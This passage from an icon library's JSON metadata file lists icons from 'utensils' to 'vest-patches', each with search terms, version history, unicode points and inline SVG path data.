262.8 270.3 308h13.4l-11.4-29.4c-1.5-3.9-4-7-7.7-9.3l15.6-20L302.6 308h10.3 8.3 7.6c1.5 0 3-1.1 4.5-3.1s2.2-4.1 2.2-6.3V205.1c0-6.5-4.5-20.3-13.7-41.2c5.4 0 14.1-9.1 26.2-27.2V300.2c0 7.2 .6 12 1.7 14.6c1.6 3.4 5.3 6.2 11.1 8.2c-3.9 5.6-8.7 8.5-14.5 8.5H321.1h-8.3H210.5h-19zM93.4 287.3c-2.7-6.7-4-11.7-4-15c-.6 1.2-2.4 3.7-5.4 7.6c-1.4 1.9-2.2 3.7-2.2 5.3c0 2.6 .8 5.7 2.2 9.3l5.6 13.9h0c5 0 9 0 11.9-.1l-8.2-20.9zm13.5-72.4c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm-27.6 0c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm87 27.5c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3z\"/></svg>",
        "viewBox": [0, 0, 482, 512],
        "width": 482,
        "height": 512,
        "path": "M481.9 268.1A240.9 240.9 0 1 1 .1 268a240.9 240.9 0 1 1 481.9 0zM24.5 268a216.5 216.5 0 1 0 432.9 0A216.5 216.5 0 1 0 24.5 268zm385.9 63.3c-12.7 0-21.6-1.9-26.7-5.9c-5.5-4.3-8.2-12.3-8.2-23.8V205.1c0-6.5-5.2-20.2-15.7-41.2c7 0 17-9.1 30-27.2V284.5c0 11 2.4 19.4 7 25.3c3.7 4.7 10.1 8.9 19 12.6c1.2 .4 2.6 .9 4.1 1.4c2.9 .9 6.3 2.1 10.3 3.5c-1.8 2.7-8.3 4-19.9 4zm-219 0c-1.3 2.4-3.6 5.5-6.8 9.4l-18.5 22.5c-1-6.1-4-13-9.3-20.6s-9.7-11.4-13.4-11.4h-8.3H53.6c3.3-5.3 4.9-8.8 4.9-10.8c0-2-.8-5.3-2.4-9.7c-1.5-4.4-2.4-8.5-2.4-12.4c0-7.4 2.1-13.9 6.3-19.3L80 253.4l-7.1-17.7L89 215.9l6.7 16.8 8-10.3c-1.8 6.4-2.6 12.3-2.6 17.7c0 4.2 2.8 13.3 8.3 27.3l16.2 40.7H135h8 .3c2.8 .4 7.7 5 14.6 13.9c1.8 2.4 4.3 5.8 7.7 10.2c1.4 1.9 2.9 3.9 4.6 6.1c1.3-2.3 2-4.6 2-7.1c0-2-1.3-6.6-4-13.4L163 304.1c-4-10.6-6.1-17.7-6.1-21.3c0-6.3 1.9-12.3 5.8-17.9c.5-.6 1-1.3 1.5-1.9c4.4-5.6 8.8-11.1 13.3-16.5c-1.1 4.6-1.7 8.7-1.7 12c0 3.7 1.7 9.9 5.1 18.8l7.9 20.4c1.9 4.7 3 8.2 3.7 10.3h17.6 8.3l-.9-2.6c-1.4-3.9-4-7-7.7-9.3l15.6-20.1 12.3 32h13.4L245 292.2c-1.5-3.9-4-7-7.7-9.3L253 262.8 270.3 308h13.4l-11.4-29.4c-1.5-3.9-4-7-7.7-9.3l15.6-20L302.6 308h10.3 8.3 7.6c1.5 0 3-1.1 4.5-3.1s2.2-4.1 2.2-6.3V205.1c0-6.5-4.5-20.3-13.7-41.2c5.4 0 14.1-9.1 26.2-27.2V300.2c0 7.2 .6 12 1.7 14.6c1.6 3.4 5.3 6.2 11.1 8.2c-3.9 5.6-8.7 8.5-14.5 8.5H321.1h-8.3H210.5h-19zM93.4 287.3c-2.7-6.7-4-11.7-4-15c-.6 1.2-2.4 3.7-5.4 7.6c-1.4 1.9-2.2 3.7-2.2 5.3c0 2.6 .8 5.7 2.2 9.3l5.6 13.9h0c5 0 9 0 11.9-.1l-8.2-20.9zm13.5-72.4c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm-27.6 0c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm87 27.5c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3z"
      }
    },
    "free": ["brands"]
  },
  "utensils": {
    "aliases": {
      "names": ["cutlery"],
      "unicodes": {
        "composite": ["1f374", "f0f5"],
        "secondary": ["10f2e7"]
      }
    },
    "changes": [
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cooking",
        "cutlery",
        "dining",
        "dinner",
        "eat",
        "food",
        "fork",
        "fork and knife",
        "knife",
        "restaurant"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2e7",
    "label": "Utensils",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 0C400 0 288 32 288 176V288c0 35.3 28.7 64 64 64h32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352 240 32c0-17.7-14.3-32-32-32zM64 16C64 7.8 57.9 1 49.7 .1S34.2 4.6 32.4 12.5L2.1 148.8C.7 155.1 0 161.5 0 167.9c0 45.9 35.1 83.6 80 87.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V255.6c44.9-4.1 80-41.8 80-87.7c0-6.4-.7-12.8-2.1-19.1L191.6 12.5c-1.8-8-9.3-13.3-17.4-12.4S160 7.8 160 16V150.2c0 5.4-4.4 9.8-9.8 9.8c-5.1 0-9.3-3.9-9.8-9L127.9 14.6C127.2 6.3 120.3 0 112 0s-15.2 6.3-15.9 14.6L83.7 151c-.5 5.1-4.7 9-9.8 9c-5.4 0-9.8-4.4-9.8-9.8V16zm48.3 152l-.3 0-.3 0 .3-.7 .3 .7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 0C400 0 288 32 288 176V288c0 35.3 28.7 64 64 64h32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352 240 32c0-17.7-14.3-32-32-32zM64 16C64 7.8 57.9 1 49.7 .1S34.2 4.6 32.4 12.5L2.1 148.8C.7 155.1 0 161.5 0 167.9c0 45.9 35.1 83.6 80 87.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V255.6c44.9-4.1 80-41.8 80-87.7c0-6.4-.7-12.8-2.1-19.1L191.6 12.5c-1.8-8-9.3-13.3-17.4-12.4S160 7.8 160 16V150.2c0 5.4-4.4 9.8-9.8 9.8c-5.1 0-9.3-3.9-9.8-9L127.9 14.6C127.2 6.3 120.3 0 112 0s-15.2 6.3-15.9 14.6L83.7 151c-.5 5.1-4.7 9-9.8 9c-5.4 0-9.8-4.4-9.8-9.8V16zm48.3 152l-.3 0-.3 0 .3-.7 .3 .7z"
      }
    },
    "free": ["solid"]
  },
  "v": {
    "aliases": {
      "unicodes": {
        "composite": ["76"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter V", "Latin Small Letter V", "letter"]
    },
    "styles": ["solid"],
    "unicode": "56",
    "label": "V",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M19.7 34.5c16.3-6.8 35 .9 41.8 17.2L192 364.8 322.5 51.7c6.8-16.3 25.5-24 41.8-17.2s24 25.5 17.2 41.8l-160 384c-5 11.9-16.6 19.7-29.5 19.7s-24.6-7.8-29.5-19.7L2.5 76.3c-6.8-16.3 .9-35 17.2-41.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M19.7 34.5c16.3-6.8 35 .9 41.8 17.2L192 364.8 322.5 51.7c6.8-16.3 25.5-24 41.8-17.2s24 25.5 17.2 41.8l-160 384c-5 11.9-16.6 19.7-29.5 19.7s-24.6-7.8-29.5-19.7L2.5 76.3c-6.8-16.3 .9-35 17.2-41.8z"
      }
    },
    "free": ["solid"]
  },
  "vaadin": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f408",
    "label": "Vaadin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"
      }
    },
    "free": ["brands"]
  },
  "van-shuttle": {
    "aliases": {
      "names": ["shuttle-van"],
      "unicodes": {
        "composite": ["1f690"],
        "secondary": ["10f5b6"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airport",
        "bus",
        "machine",
        "minibus",
        "public-transportation",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5b6",
    "label": "Van Shuttle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 104v88h96V96H72c-4.4 0-8 3.6-8 8zm482 88L465.1 96H384v96H546zm-226 0V96H224v96h96zM592 384H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V104C0 64.2 32.2 32 72 32H192 352 465.1c18.9 0 36.8 8.3 49 22.8L625 186.5c9.7 11.5 15 26.1 15 41.2V336c0 26.5-21.5 48-48 48zm-64 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 104v88h96V96H72c-4.4 0-8 3.6-8 8zm482 88L465.1 96H384v96H546zm-226 0V96H224v96h96zM592 384H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V104C0 64.2 32.2 32 72 32H192 352 465.1c18.9 0 36.8 8.3 49 22.8L625 186.5c9.7 11.5 15 26.1 15 41.2V336c0 26.5-21.5 48-48 48zm-64 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "vault": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bank", "important", "lock", "money", "safe"]
    },
    "styles": ["solid"],
    "unicode": "e2c5",
    "label": "Vault",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V416c0 35.3 28.7 64 64 64H80l16 32h64l16-32H400l16 32h64l16-32h16c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 320a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-240a160 160 0 1 1 0 320 160 160 0 1 1 0-320zM480 221.3V336c0 8.8-7.2 16-16 16s-16-7.2-16-16V221.3c-18.6-6.6-32-24.4-32-45.3c0-26.5 21.5-48 48-48s48 21.5 48 48c0 20.9-13.4 38.7-32 45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V416c0 35.3 28.7 64 64 64H80l16 32h64l16-32H400l16 32h64l16-32h16c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 320a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-240a160 160 0 1 1 0 320 160 160 0 1 1 0-320zM480 221.3V336c0 8.8-7.2 16-16 16s-16-7.2-16-16V221.3c-18.6-6.6-32-24.4-32-45.3c0-26.5 21.5-48 48-48s48 21.5 48 48c0 20.9-13.4 38.7-32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "vector-square": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5cb"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["anchors", "lines", "object", "render", "shape"]
    },
    "styles": ["solid"],
    "unicode": "f5cb",
    "label": "Vector Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 80h32v32H368V80zM352 32c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32V160c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H352zM96 160c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32V160zM48 400H80v32H48V400zm320 32V400h32v32H368zM48 112V80H80v32H48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M368 80h32v32H368V80zM352 32c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32V160c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H352zM96 160c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32V160zM48 400H80v32H48V400zm320 32V400h32v32H368zM48 112V80H80v32H48z"
      }
    },
    "free": ["solid"]
  },
  "venus": {
    "aliases": {
      "unicodes": {
        "composite": ["2640"],
        "secondary": ["10f221"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["female", "female sign", "gender", "woman"]
    },
    "styles": ["solid"],
    "unicode": "f221",
    "label": "Venus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V384H128c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V349.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V384H128c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V349.1z"
      }
    },
    "free": ["solid"]
  },
  "venus-double": {
    "aliases": {
      "unicodes": {
        "composite": ["26a2"],
        "secondary": ["10f226"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Doubled Female Sign", "female", "gender", "lesbian"]
    },
    "styles": ["solid"],
    "unicode": "f226",
    "label": "Venus Double",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM368 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H224v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C78.1 334.1 16 262.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176zM344 318c14.6-15.6 26.8-33.4 36-53c18.8 14.4 42.4 23 68 23c61.9 0 112-50.1 112-112s-50.1-112-112-112c-25.6 0-49.1 8.6-68 23c-9.3-19.5-21.5-37.4-36-53C373.1 12.6 409.1 0 448 0c97.2 0 176 78.8 176 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H480v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1c-26.6-4.9-51.1-15.7-72-31.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM368 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H224v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C78.1 334.1 16 262.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176zM344 318c14.6-15.6 26.8-33.4 36-53c18.8 14.4 42.4 23 68 23c61.9 0 112-50.1 112-112s-50.1-112-112-112c-25.6 0-49.1 8.6-68 23c-9.3-19.5-21.5-37.4-36-53C373.1 12.6 409.1 0 448 0c97.2 0 176 78.8 176 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H480v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1c-26.6-4.9-51.1-15.7-72-31.1z"
      }
    },
    "free": ["solid"]
  },
  "venus-mars": {
    "aliases": {
      "unicodes": {
        "composite": ["26a4"],
        "secondary": ["10f228"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Interlocked Female and Male Sign",
        "female",
        "gender",
        "heterosexual",
        "male"
      ]
    },
    "styles": ["solid"],
    "unicode": "f228",
    "label": "Venus Mars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M176 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM352 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H208v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C62.1 334.1 0 262.3 0 176C0 78.8 78.8 0 176 0s176 78.8 176 176zM271.9 360.6c19.3-10.1 36.9-23.1 52.1-38.4c20 18.5 46.7 29.8 76.1 29.8c61.9 0 112-50.1 112-112s-50.1-112-112-112c-7.2 0-14.3 .7-21.1 2c-4.9-21.5-13-41.7-24-60.2C369.3 66 384.4 64 400 64c37 0 71.4 11.4 99.8 31l20.6-20.6L487 41c-6.9-6.9-8.9-17.2-5.2-26.2S494.3 0 504 0H616c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L545 140.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176c-50.5 0-96-21.3-128.1-55.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M176 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM352 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H208v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C62.1 334.1 0 262.3 0 176C0 78.8 78.8 0 176 0s176 78.8 176 176zM271.9 360.6c19.3-10.1 36.9-23.1 52.1-38.4c20 18.5 46.7 29.8 76.1 29.8c61.9 0 112-50.1 112-112s-50.1-112-112-112c-7.2 0-14.3 .7-21.1 2c-4.9-21.5-13-41.7-24-60.2C369.3 66 384.4 64 400 64c37 0 71.4 11.4 99.8 31l20.6-20.6L487 41c-6.9-6.9-8.9-17.2-5.2-26.2S494.3 0 504 0H616c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L545 140.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176c-50.5 0-96-21.3-128.1-55.4z"
      }
    },
    "free": ["solid"]
  },
  "vest": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e085"]
      }
    },
    "changes": ["5.15.0", "5.15.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["biker", "fashion", "style"]
    },
    "styles": ["solid"],
    "unicode": "e085",
    "label": "Vest",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M207.1 237.4L151.2 69.7C168.6 79.7 192.6 88 224 88s55.4-8.3 72.8-18.3L226.5 280.6c-1.6 4.9-2.5 10-2.5 15.2V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V270.5c0-9.5-2.8-18.7-8.1-26.6l-47.9-71.8c-5.3-7.9-8.1-17.1-8.1-26.6V128 54.3 48c0-26.5-21.5-48-48-48h-4.5c-.2 0-.4 0-.6 0c-.4 0-.8 0-1.2 0C311 0 295.7 9.7 285.7 18.8C276.4 27.2 257.2 40 224 40s-52.4-12.8-61.7-21.2C152.3 9.7 137 0 118.3 0c-.4 0-.8 0-1.2 0c-.2 0-.4 0-.6 0H112C85.5 0 64 21.5 64 48v6.3V128v17.5c0 9.5-2.8 18.7-8.1 26.6L8.1 243.9C2.8 251.8 0 261.1 0 270.5V464c0 26.5 21.5 48 48 48H176c9.9 0 19-3 26.7-8.1C195.9 492.2 192 478.5 192 464V295.8c0-8.6 1.4-17.1 4.1-25.3l11-33.1zM347.3 356.7l48 48c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-48-48c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0zm-294.6 48l48-48c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-48 48c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M207.1 237.4L151.2 69.7C168.6 79.7 192.6 88 224 88s55.4-8.3 72.8-18.3L226.5 280.6c-1.6 4.9-2.5 10-2.5 15.2V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V270.5c0-9.5-2.8-18.7-8.1-26.6l-47.9-71.8c-5.3-7.9-8.1-17.1-8.1-26.6V128 54.3 48c0-26.5-21.5-48-48-48h-4.5c-.2 0-.4 0-.6 0c-.4 0-.8 0-1.2 0C311 0 295.7 9.7 285.7 18.8C276.4 27.2 257.2 40 224 40s-52.4-12.8-61.7-21.2C152.3 9.7 137 0 118.3 0c-.4 0-.8 0-1.2 0c-.2 0-.4 0-.6 0H112C85.5 0 64 21.5 64 48v6.3V128v17.5c0 9.5-2.8 18.7-8.1 26.6L8.1 243.9C2.8 251.8 0 261.1 0 270.5V464c0 26.5 21.5 48 48 48H176c9.9 0 19-3 26.7-8.1C195.9 492.2 192 478.5 192 464V295.8c0-8.6 1.4-17.1 4.1-25.3l11-33.1zM347.3 356.7l48 48c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-48-48c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0zm-294.6 48l48-48c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-48 48c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "vest-patches": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e086"]
      }
    },
    "changes": ["5.15.0", "5.15.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["biker", "fashion", "style"]
    },
    "styles": ["solid"],
    "unicode": "e086",
    "label": "Vest Patches",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M151.2 69.7l55.9 167.7-11 33.1c-2.7 8.2-4.1 16.7-4.1 25.3V464c0 14.5 3.9 28.2 10.7 39.9C195 509 185.9 512 176 512H48c-26.5 0-48-21.5-48-48V270.5c0-9.5 2.8-18.7 8.1-26.6l47.9-71.8c5.3-7.9 8.1-17.1 8.1-26.6V128 54.3 48C64 21.5 85.5 0 112 0h4.5c.2 0 .4 0 .6 0c.4 0 .8 0 1.2 0c18.8 0 34.1 9.7 44.1 18.8C171.6 27.2 190.8 40 224 40s52.4-12.8 61.7-21.2C295.7 9.7 311 0 329.7 0c.4 0 .8 0 1.2 0c.2 0 .4 0 .6 0H336c26.5 0 48 21.5 48 48v6.3V128v17.5c0 9.5 2.8 18.7 8.1 26.6l47.9 71.8c5.3 7.9 8.1 17.1 8.1 26.6V464c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V295.8c0-5.2 .8-10.3 2.5-15.2L296.8 69.7C279.4 79.7 255.4 88 224 88s-55.4-8.3-72.8-18.3zM96 456a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM63.5 